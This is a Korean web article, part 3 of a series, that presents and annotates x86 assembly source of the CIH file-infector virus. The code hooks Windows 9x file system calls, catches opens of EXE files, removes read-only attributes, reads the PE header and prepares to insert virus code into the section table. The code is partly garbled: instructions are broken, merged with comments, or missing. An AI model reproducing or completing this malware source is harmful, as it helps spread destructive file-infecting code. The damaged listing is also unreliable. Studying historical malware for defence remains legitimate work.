>  기사  >  백엔드 개발  >  바이러스 프로그램 소스코드 예제 분석 - CIH 바이러스[3]

바이러스 프로그램 소스코드 예제 분석 - CIH 바이러스[3]

黄舟
黄舟원래의
2017-01-17 11:16:421849검색

jmp ExitRing0Init ;Exit Ring0 level
 
 ;병합된 코드 크기
 CodeSizeOfMergeVirusCodeSection = offset $
 
 ;새 IFSMgr_InstallFileSystemApiHook 함수 호출
InstallFileSystemApiHook:
ebx

 call @4
 
 @4:
 pop ebx; 현재 명령어의 오프셋 주소 가져오기
 add ebx, FileSystemApiHook-@4 차이와 오프셋은 FileSystemApiHook Offset과 같습니다.  
 ;원본 IFSMgr_InstallFileSystemApiHook 함수를 호출하여 FileSystemApiHook 후크 연결
 push dword ptr [esp+8]
 call OldInstallFileSystemApiHook-@3[ebx]
 
 pop ecx
push eax
push ebx

call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

mov dr0, eax ;OldFileSystemApiHook 주소 조정

pop eax
pop ebx
 
ret

OldInstallFileSystemApiHook dd; 원래 InstallFileSystemApiHook 호출 주소

; IFSMgr_FileSystemHook 호출 항목
FileSystemApiHook:
@3 = FileSystemApiHook
 
push ad ; 저장 레지스터

call @5

@5:
pop esi mov esi, offset esi는 현재 명령어의 오프셋입니다.
add esi, VirusGameDataStartAddress- @5 ;esi는 FileSystemApiHook
의 오프셋입니다;; VirusGameDataStartAddress의 오프셋을 더한 차이는 VirusGameDataStartAddress의 오프셋과 같습니다

;"busy" 플래그를 테스트하고 "busy"는 pIFSFunc로 이동합니다
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc

; 파일이 열려 있지 않으면 prevhook
lea ebx, [esp+20h+04h +04h] ;ebx는 FunctionNum의 주소입니다
 
; 파일 시스템 후크의 호출 형식은 다음과 같습니다
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
;int ResourceFlags, int CodePage, pioreq pir)
 🎜>; 이 호출이 파일을 여는 것인지 확인합니다. 그렇지 않은 경우 이전 파일 후크로 이동합니다.
cmp dword ptr [ebx], 00000024h
jne prevhook

inc byte ptr (OnBusy -@6)[esi] ; OnBusy 활성화 ;"Busy" 플래그를 "Busy"로 설정
 
 ;파일 경로에 지정된 드라이브 문자를 가져온 다음 드라이브 이름을 FileNameBuffer
에 넣습니다. 드라이브 문자가 03h이면 드라이브가 C 드라이브임을 의미합니다.
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 esi는 FileNameBuffer
push esi; save
mov al, [ebx +04h] ;ebx+4는 디스크 번호의 주소
 
;;UNC(Universal Naming Conventions) 주소인가요? 그렇다면 CallUniToBCSPath
cmp al, 0ffh
je CallUniToBCSPath

Add al, 40h
mov ah, ':'

mov [esi], eax ; "X:" 형식으로 처리됩니다. 즉, 드라이브 문자

inc esi
inc esi

뒤에 콜론을 추가합니다. 정규화된 유니코드 문자를 일반 BCS 문자 집합으로 변환합니다. 호출 메소드
; UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
; unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;문자 세트
push FileNameBufferSize ;문자 길이
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
Add eax, 04h
push eax ; Uni 문자 첫 번째 주소
push BCS 문자 첫 번째 주소
int 20h ; UniToBCSPath 호출
UniToBCSPath = $
dd 00400041h 호출 ID
add esp, 04h*04h
 
 ;파일이 EXE 파일인지 확인
 cmp [esi+ eax-04h], 'EXE.'
 pop esi
 jne DisableOnBusy
 
IF DEBUG
 
 ;다음 내용은 디버깅용입니다
 cmp [esi+eax-06h ], 'KCUF'
 jneDisableOnBusy
 
 ENDIF
 
 ;판정 파일 존재 여부, 존재하지 않으면 DisableOnBusy
로 이동 cmp word ptr [ebx+18h], 01h
jne disableonbusy

; 파일 속성을 얻으십시오 >
jc 비활성화OnBusy
push ecx

; IFSMgr_Ring0_FileIO 주소 가져오기
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; 파일이 읽기 전용인지 확인하고, 그렇다면 파일 속성을 수정하고, 그렇지 않으면 OpenFile
test cl, 01h
jz OpenFile

mov ax, 4301h
xor ecx, ecx로 이동합니다.
edi 호출 ;IFSMgr_Ring0_FileIO 함수를 호출하여 파일 속성을 수정하여 파일을 쓰기 가능하게 만듭니다
 
;파일 열기
OpenFile:
;파일 속성
  xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi는 파일 ​​이름의 첫 번째 주소입니다.
call edi ;IFSMgr_Ring0_FileIO 함수를 호출하여 파일을 엽니다

xchg ebx, eax ;ebx에 파일 핸들 저장
test cl, 01h
jz IsOpenFileOK

;파일 속성 복원
mov ax, 4301h
call edi;파일 속성 복원

;파일이 성공적으로 열렸는지 여부, 그렇지 않은 경우에는 DisableOnBusy
IsOpenFileOK:
popf
jc DisableOnBusy

파일이 성공적으로 열렸습니다.
push esi ; 스택에 파일 이름 데이터 영역의 첫 번째 주소

pushf ;CF = 0, 저장 플래그
 
 add esi, DataBuffer-@7은 데이터 영역의 첫 번째 주소를 가리킵니다.
 
 ;새 파일 헤더의 오프셋을 가져옵니다.
xor eax, eax
 mov ah, 0d6h;IFSMgr_Ring0_FileIO의 파일 읽기 함수 번호(R0_READFILE)
 
 ; 바이러스 코드 길이를 최소화하고 eax를 ebp
 mov ebp, eax
 
Push 00000004h ; 4바이트 읽기
pop ecx
push 0000003ch ; 파일 헤더 오프셋 3ch
pop edx
call edi ; esi
 
mov edx, [esi] edx

로 파일 읽기; 그래픽 파일 헤더의 감염된 표시
dec edx
mov eax, ebp ; 함수 번호
esi로 파일 읽기

; 감염 여부
; WinZip 자동 추출 파일인지 확인합니다. 그렇다면 Self-Extractor에 감염되지 않습니다. *
 cmp dword ptr [esi], 00455000h; PE 파일("PE/0/0" 표시)
 jne CloseFile; 그렇지 않은 경우 파일을 닫습니다.

PE 파일이고 감염되지 않은 경우 파일 감염을 시작합니다.
push ebx ; 파일 핸들 저장
push 00h

; 바이러스 감염 플래그 설정
push 01h ; push edx는 PE 파일 헤더 오프셋 00h를 가리킴
push edi ; edi는 IFSMgr_Ring0_FileIO의 주소입니다

mov dr1, esp ; esp 저장

; Set NewAddressOfEntryPoint Entry
Push eax
mov eax , ebp
mov cl, SizeOfImageHeaderToRead ; 2바이트를 읽으려면
edx, 07h ;PE 파일 헤더 +07h를 추가합니다. NumberOfSections(블록 수)의 경우
edi를 읽고 NumberOfSections(블록 수)를

lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; 파일 포인터
 
 lea eax, (NewAddressOfEntryPoint-@8)[esi]
 push eax; address
 
 ;edx 값을 파일 바이러스 코드 블록 테이블의 시작 부분에 넣습니다
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx +12h] ; edx는 바이러스 코드 블록 테이블의 오프셋입니다

; 바이러스 코드 블록 테이블을 얻습니다.
mov al, SizeOfScetionTable 의 크기

mov cl, (NumberOfSections-@8)[esi]

mul cl ; 각 블록 테이블 항목의 곱 블록 수는 블록 테이블의 크기와 같습니다.
 
; 바이러스 코드 블록 테이블
lea esi, (StartOfSectionTable-@8)[esi] esi는 블록 테이블의 첫 번째 주소를 가리킵니다(바이러스 동적 데이터 영역)

위 내용은 다음과 같습니다. 바이러스 프로그램 소스코드 예제 분석-CIH 바이러스 [3] 관련 내용은 PHP 중국어 홈페이지(www.php.cn)를 참고해주세요!



성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.